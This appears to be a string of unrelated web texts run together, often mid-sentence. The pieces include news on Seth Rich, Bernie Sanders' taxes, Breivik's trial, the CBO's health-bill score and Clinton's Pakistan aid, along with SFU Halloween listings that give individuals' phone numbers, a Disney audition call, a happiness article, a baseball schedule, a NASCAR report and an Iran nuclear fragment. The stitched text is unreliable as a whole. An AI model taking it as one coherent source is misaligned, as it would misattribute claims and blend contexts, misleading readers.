Rich was shot in the back in the early morning hours of July 10, 2016, near his home while he was on the phone with his girlfriend — 12 days before the publication of the DNC emails by WikiLeaks. The police initially ruled that it was a botched robbery — but his wallet, watch, and necklace were still on his person when he was discovered by police.
Though Assange has infamously expressed interest in Rich, he has always maintained that WikiLeaks will never name a source. WikiLeaks has offered a $20,000 reward for Rich’s murderer however, and has retweeted articles that asserted he was their source without providing any additional comment.Bernie Sanders spoke at a recent event sponsored by Institute of Politics at the University of Chicago. (Scott Olson/Getty Images)
CONCORD, N.H. — Presidential hopeful Bernie Sanders pledged Friday that before Democrats start voting for their nominee he would spell out how much more high-earning Americans could expect to pay in income taxes if he wins the White House.
Sanders, a self-described democratic socialist, has made income and wealth inequality the rallying cry of his campaign and said repeatedly that the wealthy would start paying their “fair share” of taxes under a Sanders administration.
But with two months until voting begins in Iowa and New Hampshire, the Vermont senator has yet to say what he considers fair when it comes to income taxes.
Sanders was pressed here during the taping of a New Hampshire Public Radio interview about what the top marginal tax rate should be. It currently sits at 39.6 percent on income above $413,200 for single filers and $464,850 for those filing jointly.
[Clinton’s rivals seize on an email saying caucuses draw ‘parties’ extremes’]
Sanders’s questioner noted that when presented with the same query on ABC’s “This Week” in October, Sanders told host George Stephanopoulous that the top rate would be “a damned lot higher than it is right now.”
Sanders did not offer a number Friday but he said he would have one before the New Hampshire primary in early February.
“It is absolutely my view that the wealthiest people in this country should start paying their fair share of taxes,” Sanders said. “Now working on the exact numbers ain’t so easy, and that’s something we’re doing right now.”
Following the radio interview, which is scheduled for broadcast on Monday, Sanders told The Washington Post that he believes it is “fair” to expect him to put forward a tax plan before the Iowa caucuses, the first of the nominating contests, scheduled for Feb. 1.
“Honestly, we want to do it well, and it’s not such an easy thing,” Sanders said.
He declined to say whether he would seek to alter the current structure of the income tax brackets or merely change the rates that apply. (To date, the Democratic front-runner, Hillary Clinton, has offered a series of tax breaks intended to benefit the middle class but not released a plan to overhaul the income tax brackets.)
[After Paris, Sanders sticks to script — and it doesn’t say much about fighting terrorism]
Seeking to bolster his case for change, Sanders pointed during the radio interview to a new report by the Institute of Policy Studies that found that the 20 wealthiest people in the United States now own more wealth than the bottom half of the American population combined, a total of 152 million people.
“That is grotesque, that is obscene and that has got to be dealt with,” Sanders said.
Beyond the income tax, Sanders has proposed several other measures that would impact wealthier Americans, including an increase in the estate tax paid on large inheritances and a tax on Wall Street speculation.Just looking at it, you can tell there’s a statement being made. The copper-hued exterior, the giant horseshoe-shaped gap between the towers, the bold sweep and flourish of the exterior details—even a quick glance will tell you Parq Vancouver is not your typical luxury hotel–entertainment development. And that’s very much on purpose. Situated just south of BC Place Stadium, Parq is the largest private development in the province and a stunning example of how a new crop of architecture seeks to transform Canada’s City of Glass. Brought to life by |
is hosting a pumpkin carving social! On October 25, come drink hot chocolate, hang out with CMNS folks, and carve a spooky pumpkin!
This event is NOT BYOP – yes we bring the pumpkins for you!
Time and Location: Wednesday, October 25 at 2:30 PM – 5 PM, Location TBA
Hosted by: SFU Communication Student Union (CMNSU)
Cost: Free
More information here.
Ice-o-ween: SFU Passion to Lead’s Halloween Themed Icebreaker
Description: Come out to SFU Passion to Lead’s Halloween themed icebreaker event – Ice-o-ween! Join us for a night filled with fun Halloween themed activities, free food, a chance to meet a bunch of great people, and some awesome prizes to be won – what’s a better way to spend your night? So grab some friends, put your best costume on, and get ready for a spooky night of fun!
Time and Location: October 25th, 6pm-8pm, Location TBA
Hosted by: SFU Passion to Lead
Cost: Free
More information here.
Halloween Cruise Party
Description: This event is a friendly cruise party for everyone.This party has hip pop live performance,dancing,etc.Make sure everyone who get involved will have a wonderful night with us.
Time and Location: Date: 10.28 6:30pm-10:00pm on Harbour Princess, 501 Denman St, Vancouver, BC
Hosted by: Chinese Students & Scholars Association
Cost: $70 – CA$80
More information here.
FAS Halloween Pub Crawl 2017
Description: ESSS and MSESS are spear heading this pub crawl on the 27th, we are meeting up at Burnaby campus @7 and go as a group to DT. We have selected three clubs that night and we are going to start selling the tickets on the 17th.
Time and Location: Oct 29th from 7 to 12
Hosted by: ESSS & MSESS
Cost: Early Bird ticket are $15 (till 22th), then the regularly priced tickets are $20.
More information here.
Halloween Bake-Sale
Description: A fundraising Bake Sale event organized by MHFS to raise funds for Mental Health Care Unit of various Hospitals. Bake sale includes delicious delicacies like Cupcakes, Muffins, Cookies, Samosas and a chance to spin the wheel game and win exciting goodies like Earphones, Tim Horton’s Gift Cards etc.
Time and Location: Date- 31st October, 2017, Time- 10:00 am – 2:00 pm, Location- Table J in AQ Building Burnaby SFU
Hosted by: MHFS- Mental Health Fundraising of Surrey
Cost: only 2$ for a cupcake/samosa
Halloween Social 2017!
Description: The Anime Club’s Halloween event is back again! Come join us on Friday, October 27, in the MBC Conference rooms. The event officially begins at 5:30pm and ends at 8:30pm!
At the event, there’ll be a cosplay contest, games, prizes and more! Best of all there’s no admission fee!
Time and Location: Friday, October 27th, 5:30PM – 8:30 PM, MBC Conference Rooms
Hosted by: SFU Anime Club
More information here.
Halloween Horror Show
Description: SFU Alpha Kappa Psi presents Halloween Horror Show!
Come watch American Psycho @ 5pm or Annabelle @ 7pm, better yet, come for BOTH on October 25th Wednesday absolutely for FREE!
Don’t forget to bring a friend!! You can also buy popcorn, cotton candy, pop and MORE! Hope to see you there!!
Time and Location: October 25th, 5pm in AQ, C9000
Hosted by: Alpha Kappa Psi
Cost: Free
More information here.
Halloween Scavenger Hunt and Movie night
Description: Get ready in your Halloween costume and ready for our free food,games,movie and prizes
Time and Location: 2017/10/26,6:30-9:30pm,AQ3001
Hosted by: Stress Reliever club
Cost: Free
Feminist Horror Movie Night
Description: Join the Gender, Sexuality, and Women’s Studies student union for an evening screening of a feminist horror movie to celebrate the Halloween season in anti-patriarchal style.
Time and Location: Wednesday, October 25th @ 5:30pm
Hosted by: Gender, Sexuality, and Women’s Studies Student Union (GSWSSU)
Cost: Free
More information here:
Uphoto Halloween Movie Night!
Description: Uphoto photography club is hosting a casual, fun halloween movie night! Make some friends, talk about photography, all are welcome!
Time and Location: October 27th, 5:30p.m. – 8p.m., Surrey Campus Room 5320
Hosted by: UPhoto Photography Club
More information here
SFSS Surrey Movie
Description: There will be a FREE Halloween-themed movie marathon happening in SUR 3330
Time and Location: Monday, OCT 30, 3PM-9:30PM, SUR 3330
Hosted by: SFSS Surrey Campus Committee
Cost: Free
Double Double Learn and Gobble
Description: Have a Halloween eve dinner with us as we discuss early childhood literacy and see how you can be involved. There will be plenty of time for socializing and fun! Costumes are encouraged.
Time and Location: Monday, October 30th /4:30
Hosted by: SFU Reading Bear
The HSU Halloween Movie Night
Description: Come out and watch the 1922 German horror film Nosferatu. Featuring thrills, Vampires, and spooky subtitles, this event will leave you historically haunted! Candy and small snacks included!
Time and Location: Oct. 27, 6-9pm, Room TBA
Hosted by: HSU
CAC Presents: Midnight Horror
Description: IT’S THAT TIME OF THE YEAR AGAIN. MIDTERMS ARE COMING TO AN END AND HALLOWEEN IS JUST AROUND THE CORNER.
CAC wants YOU to come party with us to start off your Halloween weekend with a night to remember (or not!). Did we mention that your admission comes with a FREE drink ticket as well? Grab a ticket now before you get left out!
For those of you who want to head over after DOOMS, we got your back! Contact Derek @778-886-1435 for more information!
Time and Location: FRIDAY, October 27th, 2017 at 10pm at VENUE nightclub
Hosted by: CAC
Cost: $20
BUY YOUR TICKET NOW
Alicia: 778-892-8906 (Tri-Cities)
Kevin: 604-358-1346 (Surrey)
Phuong: 604-831-6756 (Vancouver)
Alice: 778-319-9859 (Burnaby)
Tamara: 778-919-8542 (Burnaby)
Alex: 778-994-1317 (Burnaby)
For ages 19+ with valid government ID.
Reverse Trick or Treat
Description: Raising awareness on ethical consumption and fair trade
Time and Location: 31st October – 11:00 am to 2:00pm
Hosted by: WORLD UNIVERSITY SERVICES OF CANADA-SFU
Cost: All costs of the event will be covered by WUSC Ottawa
More information here.
Halloween Fair by Variety for tomorrow
Description: Join us if you dare for a Halloween Scare! Come stop by Convocation Mall at the SFU Burnaby campus for a frightfully fun Halloween fair! There will be games, food, prizes, live music, and a raffle draw. Help us celebrate Halloween at our spoooktacular event. But don’t worry, there’s nothing to be scared of, besides who doesn’t love winning prizes? Most importantly, all proceeds raised will go to Variety – The Children’s Charity, so don’t forget to donate!
Time and Location: October 31st, 11am – 5pm in convocation mall
Hosted by: Variety For Tomorrow
More information here.
2017 Professor Meet & Greet
Description: Meet your professors, learn about exciting new classes next semester, win great prizes
Time and Location: October 31, 12:30-2:30, AQ5039
Hosted by: SASU
Murder Mystery Night
Description: Join your friends at the SFU SAS for a night of intrigue and drama!
We’ll be solving a mystery up on Burnaby mountain, so make sure to put on your sleuthing caps and channel your inner Sherlocks and Nancy Drews!
There will be food, drinks, laughs and, because it is Halloween after all, costumes are welcome and encouraged!
See you then for a frighteningly good time!
Time and Location: October 31, 5:30pm-7:30pm, WMC Atrium
Hosted by: SFU SAS
More information here.
ASL Club Halloween Party
Description: Dress up for our costume contest and win a prize! Potluck, listen to music, play games, and watch Deafula!
Time and Location: Tues. Oct 31, 6pm-8pm, Blusson Hall 10031
Hosted by: SFU ASL Club
More information: Bring something yummy!Disney auditions in 2017 – “Frozen” Stage Show singers and vocalists.
Disney Entertainment is is looking for 2 female singers / actresses to star in the parks “Frozen” inspired musical show.
The Broadway-caliber, theatrical production is based on the feature film “Frozen” and will bring the magical adventure to the stage. Directed by Broadway, world-renowned and award-winning director Lisel Tommy, the show will be performed in the state-of-the-art, indoor, 2000-seat Hyperion Theater at Disney California Adventure in Los Angeles.
The Disney musical which will be performed in California is holding auditions in the New York City area. Disney casting directors will be holding open auditions in late January 2017 for female vocalists to fill the roles of Anna and Elsa. Appointments are not required to audition. Singers / vocalists interested in the roles just need to attend the event to meet with casting directors. Please see all the details below including what talent need to prepare.
Vocalists: Frozen – Live at the Hyperion – Anna & Elsa
Auditions New York, NY for Disneyland production at Hyperion Theater
Open auditions, Singers and Actors Monday, January 30, 2017
Disney Parks Talent Casting is holding an Open Call for Vocalists to perform in our new Broadway-caliber, theatrical production based on the feature film ”Frozen.” This show will be performed in the state-of-the-art, indoor, 2000-seat Hyperion Theater at Disney California Adventure® Park. (Anaheim, CA)
Requirements:
Must be at least 18 years of age
Singers, please come prepared with 2 contrasting 16 bars of appropriate material for the role and show. Bring sheet music in your key, an accompanist will be provided. You may sing from the show
Be prepared for a possible movement evaluation
Bring a current headshot and resume
We are especially seeking performers with a diverse look for ALL ROLES listed below.
[ELSA] Princess who becomes Queen; fearfully plagued by powers she hasn’t yet learned to control; lives a life of isolation separated from society and those she loves, including her sister. Vocal Range: Mezzo Soprano; mix/belt. All Ethnicities, the director is interested in casting women of color for this role.
[ANNA] Elsa’s younger sister; persistent, daring and highly optimistic; at times reacts impulsively; longs to reconnect with her sister Elsa; readily believes she’s found her one true love in Hans. Vocal Range: Soprano; mix/belt All Ethnicities, the director is interested in casting women of color for this role.
Monday, January 30, 2017 at 10:00 AM
LOCATION:
Pearl Studios
500 8th Avenue 12th Floor
New York, NY 10018
Entertainers for this show are covered under the terms and conditions of a collective bargaining agreement with the American Guild of Variety Artists (AGVA).
Bring a current headshot and resume.
Advance registration is not required
Entertainers for this show are covered under the terms and conditions of a collective bargaining agreement with the American Guild of Variety Artists (AGVA).is having a large, caring, close-knit family in another city. George Burns
How happy are you and why? This is a question I spend a fair amount of time thinking about, not only as it applies to my own levels of happiness, but also as it applies to my family,, and the people who I work with. Since graduating with my master’s degree in, I’ve worked with and observed thousands of people in a wide variety of settings, and happy people just flow with the groove of life in a unique way. Here is what they do differently:
1) They build a strong social fabric. Happy people stay connected to their families, neighbors, places of worship, and communities. These strong connections act as a buffer to and create strong, meaningful connections. The rate of depression has increased dramatically in the last 50-75 years. The World Organization predicts that by 2020, depression will be the second leading cause of mortality in the world, impacting nearly one-third of all adults (Murray & Lopez, 1996). While several forces are likely behind this increase, one of the most important factors may be the disconnection from people and their families and communities.
2) They engage in activities that fit their strengths, values and lifestyle. One size does not fit all when it comes to happiness strategies. You tailor your workout to your specific fitness – happy people do the same thing with their emotional goals. Some strategies that are known to promote happiness are just too corny for me, but the ones that work best allow me to practice acts of kindness, express, and become fully engaged. Dr. Sonja Lyubomirsky offers a wonderful Person-Activity Fit Diagnostic in her book, The How of Happiness (Lyubomirsky, 2007).
3) They practice gratitude. Gratitude does the body good. It helps you cope with and stress, increases self-worth and when you realize how much you’ve accomplished, and often helps dissolve negative emotions. Research also suggests that the character strength of gratitude is a fairly strong correlate with life satisfaction (Park, et.al., 2004).
4) They have an optimistic thinking style. Happy people reign in their pessimistic thinking in three ways. First, they focus their time and energy on where they have control. They know when to move on if certain strategies aren’t working or if they don’t have control in a specific area. Second, they know that “this too shall pass.” Happy people “embrace the suck” and understand that while the ride might be bumpy at times, it won’t last forever. Finally, happy people are good at compartmentalizing. They don’t let an adversity in one area of their life seep over into other areas of their life.
5) They know it’s good to do good. Happy people help others by volunteering their time. Research shows a strong association between and well-being, health, and longevity. Acts of kindness help you feel good about yourself and others, and the resulting positive emotions enhance your psychological and physical (Post, 2005). One study followed five women who had multiple sclerosis over a three-year period of time. These women volunteered as peer supporters for sixty-seven other MS patients. The results showed that the five peer support volunteers experienced positive changes that were larger than the benefits shown by the patients they supported (Lyubomirsky, 2007).
6) They know that material wealth is only a very small part of the equation. Happy people have a healthy perspective about how much joy material possessions will bring. In The How of Happiness, Lyubomirsky explains that in 1940, Americans reported being “very happy” with an average score of 7.5 out of 10. Fast forward to today, and with all of our iPods, color TV’s, computers, fast cars, and an income that has more than doubled, what do you think our average happiness score is today? It’s 7.2. Not only does not bring happiness, it‘s a strong predictor of unhappiness. One study examined the attitudes of 12,000 freshman when they were eighteen, then measured their life-satisfaction at age thirty-seven. Those who had expressed materialistic aspirations as freshmen were less satisfied with their lives two decades later.
7) They develop healthy coping strategies. Happy people encounter life adversities, but they have developed successful coping strategies. Posttraumatic growth is the positive personal changes that result from an individual’s struggle to deal with highly challenging life events, and it occurs in a wide range of people facing a wide variety of challenging circumstances. According to Tedeschi and Calhoun, there are five factors or areas of growth after a challenging event: renewed appreciation for life, recognizing new paths for your life, enhanced personal strength, improved with others, and growth. Happy people become skilled at seeing the good that might come from challenging times.
8) They focus on health. Happy people take care of their mind and body and manage their stress. Focusing on your health, though, doesn’t just mean exercising. Happy people actually act like happy people. They smile, are engaged, and bring an optimal level of energy and enthusiasm to what they do.
9) They cultivate spiritual emotions. According to Lyubomirsky, there is a growing body of science suggesting that people are happier, healthier, and recover more quickly from trauma than nonreligious people. In addition, Diener and Biswas-Diener add that spiritual emotions are essential to psychological wealth and happiness because they help us connect to something larger than ourselves.
10) They have direction. Working toward meaningful life goals is one of the most important strategies happy people utilize. I downplayed the importance of meaning during my law practice, but it became evident how much meaning mattered in my life when I. Happy people have values that they care about and outcomes that are worth working for (Diener & Biswas-Diener, 2008).
The late, great Dr. Chris Peterson talked about his own journey with happiness as follows: “I spent my young adult years postponing many of the small things that I knew would make me happy.…I was fortunate enough to realize that I would never have the time unless I made the time. And then the rest of my life began.”
Happy people have developed a specific set of strategies over time that causes them to see life differently – a balanced portfolio of skills and emotions. What would you add to this list?
(Image below via American Express Tumblr)
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Paula Davis-Laack, JD, MAPP, is a lawyer turned writer and stress and resilience expert who helps high-achieving women manage stress and increase well-being by mastering a set of skills proven to enhance resilience, build mental toughness, and promote strong relationships. Connect with Paula via:
Her website: www.pauladavislaack.com
Facebook
Twitter
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References
Diener, E., & Biswas-Diener, R. (2008). Happiness: Unlocking the mysteries of psychological wealth. Malden, MA: Blackwell Publishing.
Lyubomirsky, S. (2007). The how of happiness: A new approach to getting the life you want. New York: Penguin Group.
Murray, J.L., & Lopez, A.D. (1996). The global burden of disease: A comprehensive assessment of mortality and disability from diseases, injuries, and risk factors in 1990 and projected to 2020. Summary. Harvard of Public Health. World Health Organization. Retrieved October 16, 2012, from http://www.iumsp.ch/Enseignement/postgradue/Besancon/docs/murray_burden.pdf.
Park, N., Peterson, C., & Seligman, M.E.P. (2004). Strengths of character and well-being. Journal of Social and Clinical Psychology, 23(5), 603-619.
Post, S.G. (2005)., happiness, and health: It’s good to be good. International Journal of Behavioral Medicine, 12(2), 66-77.
Ratey, J.J. (2008). Spark: The revolutionary new science of exercise and the brain. New York: Little, Brown and Company.
Tedeschi, R.G., & Calhoun, L.G. (2004). Posttraumatic growth: Conceptual foundations and empirical evidence. Psychological Inquiry, 15(1), 1-18.OSLO (Reuters) - Norwegian anti-Islamic fanatic Anders Behring Breivik said on Wednesday he should be executed or acquitted after killing 77 people last summer in what he said was a battle to defend Europe against mass immigration.
“There are only two just outcomes to this case — acquittal or the death penalty,” the 33-year-old said, calling the prospect of a prison sentence “pathetic”.
Norway has no death penalty and formal sentencing cannot exceed 21 years, though Breivik could be held the rest of his life if he is judged to pose a continuing danger. He could also be sentenced indefinitely to a mental institution.
“If you embrace death before you go into action, you will be ten times as potent,” Breivik said. “I have embraced death.”
Breivik made the statement after a grueling day of testimony in which prosecutors challenged his presentation of himself as a crusader defending Europe from immigration on behalf of a group of militant nationalists.
“I hope that you don’t spend more time on trying to ridicule me,” Breivik told prosecutor Inga Bejer Engh at one point.
Breivik, who killed eight people with a car bomb in Oslo on July 22 and then shot 69 at a Labour Party summer youth camp, went on trial on Monday.
He pleaded not guilty to terrorism and murder charges on grounds of “necessity” and has called his victims “traitors” with immigrant-friendly ideas.
Asked how he had changed from a teenage vandal on Oslo’s prosperous west side to a methodical killer, he said he helped found a militant group called the “Knights Templar” in 2001 but refused to give any details to back up the claim.
The original Knights Templar were a medieval brotherhood of European knights that prosecuted anti-Islamic crusades.
Breivik deflected five straight questions about supposed allies and repeatedly tried to tell prosecutors how to phrase themselves. He became visibly irritated and swiveled a pen in his hand.
“Your intention is to sow doubt whether this network existed,” he said.
After the attacks, police and Western security agencies tried to confirm Breivik’s claim that allies were plotting new actions and that there were some 80 active “cells” in Europe. Norwegian police said they concluded Breivik was a lone wolf.
With sweat showing on his forehead, Breivik said on Wednesday the figure of 80 cells was “an estimate” and hesitated when asked the basis for it. “I don’t know,” he said. “At the outset we were 15 people.”
CHILDISHLY DEFIANT
Breivik’s trial, to last 10 weeks, turns on the question of his sanity and thus whether he can be jailed. He has said that an insanity ruling would be “worse than death”.
One court-appointed team of psychiatrists concluded he was psychotic, while a second team found him to be of sound mind.
Defendant Anders Behring Breivik (R) is seen with his lawyer Geir Lippestad during the third day of proceedings in the courthouse in Oslo April 18, 2012. REUTERS/Heiko Junge/Scanpix Norway/Pool
On Wednesday he came off as “childishly defiant,” Tore Sinding Bekkedal, a survivor of the island massacre, said during a break. “He’s trying to steer the proceedings and failing.”
“He gets himself slightly entangled in different details,” said fellow survivor Ali Esbati.
After an adolescence marked by conflict with Muslim youths from the other side of Oslo, Breivik said, he went to Liberia in 2001 to meet a Serbian nationalist, disguising himself as an aid worker and as a blood-diamond smuggler with a magnifying glass.
From Liberia he travelled to London to meet three other nationalists and supposedly founded the neo-Knights Templar. Later, he said, he met allies in Baltic countries.
Pressed to substantiate the meetings, Breivik said: “I don’t wish to contribute anything that would cause arrests.”
He has acknowledged that a 1,500-page screed he posted on the Internet describing the Knights Templar as a large and powerful secret group was an exaggeration, and spent much of Wednesday defending the claim that it existed at all.
“It is important to know what is true and what is made up,” prosecutor Inga Bejer Engh said.
“Nothing is made up,” replied Breivik, “but that is written in a context. It is glorifying certain details.... It’s sales.”
“What is it you are selling?”
“One sells dreams, if you are trying to inspire others.”
Thomas Hylland Eriksen, a University of Oslo professor of social anthropology, said Breivik seemed frustrated by challenges to his self-image.
“This is such an embarrassment to him because there are certain answers he can’t give because it would show that he tried to deceive us all with lies, that many of the network organizations, meetings, all the secret plots, all the other terror cells are figments of his imagination,” said Eriksen.
“That is for him a last straw. If that bit of his evidence is not seen as credible, you know, the rest of his persona would crumble and he would have no credibility whatsoever.”
On Tuesday, his first day of direct testimony, Breivik said the September 11, 2001, attacks by Al Qaeda on the United States were key to his radicalization and that his main source of information was Wikipedia, the open-source online encyclopedia.
He also said that since 2002 he has had little contact with the people he said he met in London, and that the “cell” he commanded on July 22 consisted of himself alone.
He maintained on Wednesday that there were two other one-man cells in Norway.
“Should we fear these two today?” the prosecutor asked.
Slideshow (5 Images)
“Yes,” Breivik said.
After the court session ended, prosecutor Svein Holden said: “We do not believe there are more cells.”It’s time to throw out the first pitch of the 2019 season at UTRMinors.com.
As with other spring minor league baseball publications, we always compile our list of the UTR Organizational All-Star rosters, based on our performance-based criteria used throughout the 2018 season.
On February 26th, we will begin our Under The Radar Organizational All-Star series with the American League East, starting with the Baltimore Orioles. Each day we will post another team, which will take us right up to the start of the Major League baseball season.
So, if you’re looking to stash an up-and-coming minor league player during your fantasy draft, make note of which “hot” player might be playing a MiLB park near you in 2019, or just track your favorite team’s farm system, the posting schedule will be as follows:
Baltimore – February 26
Boston – February 27
NY Yankees – February 28
Tampa Bay – March 1
Toronto – March 2
Chicago White Sox – March 3
Cleveland – March 4
Detroit – March 5
Kansas City – March 6
Minnesota – March 7
Houston – March 8
Los Angeles Angels – March 9
Oakland – March 10
Seattle – March 11
Texas – March 12
Atlanta – March 13
Miami – March 14
NY Mets – March 15
Philadelphia – March 16
Washington – March 17
Chicago Cubs – March 18
Cincinnati – March 19
Milwaukee – March 20
Pittsburgh – March 21
St Louis – March 22
Arizona – March 23
Colorado – March 24
Los Angeles Dodgers- March 25
San Diego – March 26
San Francisco – March 27
MLB Baseball begins with a series on March 20-21 with Seattle taking on Oakland in Tokyo Japan
MLB Season (All 30 teams play) – March 28
Minor League Season begins on April 5thSHARE
THE BIG NEWS IS, of course, the “score” from the Congressional Budget Office detailing that the House Republican bill to repeal and replace the Affordable Care Act/Obamacare will result in 14 million Americans losing health insurance by 2018 and 24 million by 2026.
Before that, something else caught my eye today from the Bangor Daily News. It’s a blog post from a woman named Crystal Sands who writes about how the ACA enabled her and her young family to take a chance and find a new life as farmers. Her post, “The ACA makes a simpler farming life possible for our family,” says this:
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I’m a writer, an online professor, a farmer, a wife, and a mom. None of these jobs offer health insurance for me and my family, so our family purchases our health insurance through the Affordable Care Act. We work hard, but we try to work differently. If you read my blog, you know we’re learning to grow and raise our own food, and our health insurance through the ACA makes this possible. … The ACA has helped me to become a better mom, a better wife, a better teacher because I am not so overworked, and it has made it so I can learn to be a farmer. I’m also just a better person. I’m not sick and overworked. I’m more patient and more kind and more helpful to everyone. And this is my story. There’s so much potential here to make lives better. There are many people, including many farmers, who depend on the ACA. I hope we don’t lose sight of that.”
And now, CBO’s Cost Estimate of the American Health Care Act. Bottom line — $894 billion in tax cuts financed by $1.2 trillion in cuts to Medicaid and to subsidies/tax credits for private health insurance. Those cuts will produce an increase in numbers of uninsured Americans of 14 million by 2018, 21 million by 2020, and 24 million by 2026. Of the 24 million, 14 million will lose Medicaid and 10 million will lose private coverage, employer-sponsored and individual.
What are the biggest tax cuts? A total of $275 billion in cuts come from new Medicare payroll taxes on earned ($117 billion) and investment/unearned ($158 billion) income implemented in 2013 on wealthy households (single adults with incomes over $200,000 and families over $250,000). The Center for Budget & Policy Priorities estimates that the richest 400 US families will get annual tax cuts of $7 million per family, while the 162 million households with incomes under $200,000 will get nothing. Other big cuts: $145 billion in tax hikes for health insurance companies, and $25 billion for tax hikes on the pharmaceutical industry.
What’s this bill about? It’s about cutting taxes for wealthy Americans and powerful industries by cutting health insurance for low and moderate income Americans, including $880 billion less for Medicaid and $673 billion less for subsidies to purchase private insurance between 2017 and 2026. That’s it folks. Pardon the familiar expression: It’s the taxes, stupid!
It’s true that the Republicans’ proposed tax credit/subsidy structure to buy private health insurance is a mixed bag. For example, a single adult with an income of $68,200 (450 percent of the federal poverty level) gets no subsidy under the ACA versus $2,450-$4,900 (in 2026 dollars) under the Republican plan. On the other hand, a 64-year old with an income of $26,500 gets a subsidy of $13,800 under the Affordable Care Act versus a $4,900 subsidy under the Republicans’ American Health Care Act. Big difference for the folks who need help the most.
“Everybody’s got to be covered,” said Donald Trump about his health care agenda. House Speaker Paul Ryan also promised repeatedly that no one would lose coverage. So much for that. Opponents to Trump and Ryan’s plan now include the American Hospital Association, the American Medical Association, AARP, the American Nurses Association, and many more. On Trump’s side, the medical device industry and parts of the insurance industry.
By the way, the director of the Congressional Budget Office is named Keith Hall. He has held the job since 2015. When the job is open, the new director is chosen by the House and Senate chairs of the respective House and Senate budget committees. In 2015, both committee chairs were Republicans who chose the new director. Even more interesting, in 2015, the House Budget Committee Chair was Rep. Tom Price of Georgia, now Trump’s health and human services secretary, who is criticizing the new CBO numbers as wrong, even as he has no numbers to offer instead. CBO numbers are usually off, but only because the estimating process is inherently difficult and uncertain. CBO staff are some of the best professionals around.
Meet the Author John E. McDonough Guest Contributor
The CBO report, with its matter-of-fact language and bland tone, makes clear that the Republican legislation is a moral challenge for America. This is a test, not just about our health care system, it’s a test about who we are as a people, and as Americans. This is a fight worth having. I side with Crystal Sands.
John E McDonough is a professor of practice at the Harvard TH Chan School of Public Health. He blogs at healthstew.com
SHAREImage caption Correspondents say the deal is part of Washington's attempts to counter anti-US sentiment in Pakistan
US Secretary of State Hillary Clinton has announced a raft of new Pakistan aid projects worth $500m (£328m).
On a visit to Islamabad, she said the US wanted to show it cared about ordinary Pakistanis, not just their support in the fight against militants.
The projects, which include the building of two hydroelectric dams, are part of a five-year $7.5bn aid package agreed by the US Congress last year.
Mrs Clinton is now in Kabul for a conference on Afghanistan's future.
"We know that there is a perception held by too many Pakistanis that America's commitment to them begins and ends with security," said Mrs Clinton, who also held talks with Pakistani President Asif Ali Zardari, while in Islamabad.
"We have not done a good enough job of connecting our partnership with concrete improvements in the lives of Pakistanis. With this dialogue, we are working to change that."
As well as two hydro-electric dams, Mrs Clinton unveiled funding for drinking water and irrigation projects, and health centres.
Pakistani Foreign Minister Shah Mehmood Qureshi said Islamabad and Washington now had more shared aims than ever.
"I can say this with confidence that the convergence of interests that we have today - whether it's democracy, women empowerment, institution-building in Pakistan, fighting and defeating extremism and terrorism and other areas - is much more than ever before," he said.
Mrs Clinton said the US expected Pakistanis to take extra steps to tackle militants.
She told the BBC she worried all the time about the possibility of an attack against the US emanating from Pakistan, and warned that such an attack would have a "devastating impact" on relations between Washington and Islamabad.
Media playback is unsupported on your device Media caption Hillary Clinton still fears an attack on the US emanating from Pakistan
On Sunday, Mrs Clinton helped broker an important trade agreement between Afghanistan and Pakistan, which allows Afghan trucks to use a land route through Pakistan to carry goods to India.
The BBC's Lyse Doucet in Kabul says all sides know that if there is to be greater co-operation on tackling a growing Taliban insurgency, including sanctuaries in Pakistan, relations have to start improving on all fronts.
The deal was signed in Islamabad by Makhdoom Amin Fahim, Pakistan's minister for commerce, and his Afghan counterpart Dr Anwar Ul Haq Ahady.
Afghan Finance Minister Omar Zakhilwal said the deal was a signal that relations with Pakistan were improving rapidly.
Join our debate at BBC Have Your SayDodge leaves NASCAR, for now, on a high with Brad Keselowski's Sprint Cup title. (Photo: Mark J. Rebilas, US Pesswire) Story Highlights Brad Keselowski becomes Dodge's first champion in 37 years
Penske Racing moves to Ford in 2013, and Dodge is exiting NASCAR, for now
"It's weird; it's bittersweet; it's exciting; it's amazing"
HOMESTEAD, Fla. -- As Penske Racing won its first Sprint Cup title, Dodge might have been capturing its last in NASCAR's premier series.
With a 15th in Sunday's Ford EcoBoost 400 at Homestead-Miami Speedway, Brad Keselowski became the manufacturer's first champion in 37 years. But there can be no repeat of Richard Petty's consecutive championships in 1974-75. As Penske Racing moves to Ford in 2013, Dodge is exiting NASCAR — at least for now — because it couldn't land on a title-caliber replacement.
"It's weird; it's bittersweet; it's exciting; it's amazing," said Ralph Gilles, who oversees Dodge's NASCAR program.
THE CHAMP: Keselowski earns first Cup title
"I'm literally conflicted. It wasn't about winning or losing, whether we'd stay in or not. Those decisions were made many months ago for other reasons. But this is the best thing that can happen. The best way to look back on this as a feather in our cap. It's a Seabiscuit situation in a way."
SPRINT CUP: Final points standings
After announcing its impending departure in early August, Gilles said Dodge was "able to put everything we got on this year. Every engineer we could touch with a heartbeat was on this thing.... That was one thing we owed (team owner Roger Penske). After deciding to part ways, we shook hands and said we're not going to let each other down.
"We're going to win this thing if we can and put everything we've got into it. He kept his end of the deal, and we kept our end of the deal."
That was reflected in the performance of Keselowski's No. 2 Dodge, which won five times in 2012 and finished |
than uranium?
Media reports indicate that some of the centrifuges in Fordow will be dedicated to producing isotopes for medical and industrial use. A similar process is already in use at enrichment facilities in Europe and Russia. A key question will be which kind of stable isotopes will be produced. If the centrifuges are reconfigured to produce, say, xenon isotopes, the machines could be converted back to enrich uranium fairly easily. Yet if they are used to produce zinc or molybdenum isotopes, contamination could hamper any later attempts to resume production of nuclear-grade materials.
What is the international community's past experience with predictions of breakout time?
History shows surprises. The Russian centrifuge program went for years without detection despite tremendous intelligence efforts. The Iraqi and Libyan programs were not immediately detected, and South Africa, which manufactured nuclear weapons, ended up destroying its program before the IAEA saw it. The Syrian reactor in al-Kibar also came a bit out of the blue, as did North Korea's advanced centrifuge plant. There is always the element of the unknown or the uncertain that adds to the risk equation.
Iran has talented engineers and the necessary financial resources, and its nuclear infrastructure is much larger than what it actually needs. Therefore, a monitoring scheme that is merely "good enough" will not guarantee success in preventing Iran from breaking out and achieving a nuclear weapons capability.
Olli Heinonen is a senior fellow at Harvard University's Belfer Center for Science and International Affairs and a former deputy director-general for safeguards at the IAEA. Together with Washington Institute fellow Simon Henderson, he coauthored the recently updated Policy Focus Nuclear Iran: A Glossary of Terms, a joint publication of the Institute and the Belfer Center.FRANKFORT Republican Gov. Matt Bevin proclaims the days of “pay to play” ended with his arrival in Frankfort.
But some House Democrats say if you’re not willing to play, Bevin isn’t reluctant to make you pay.
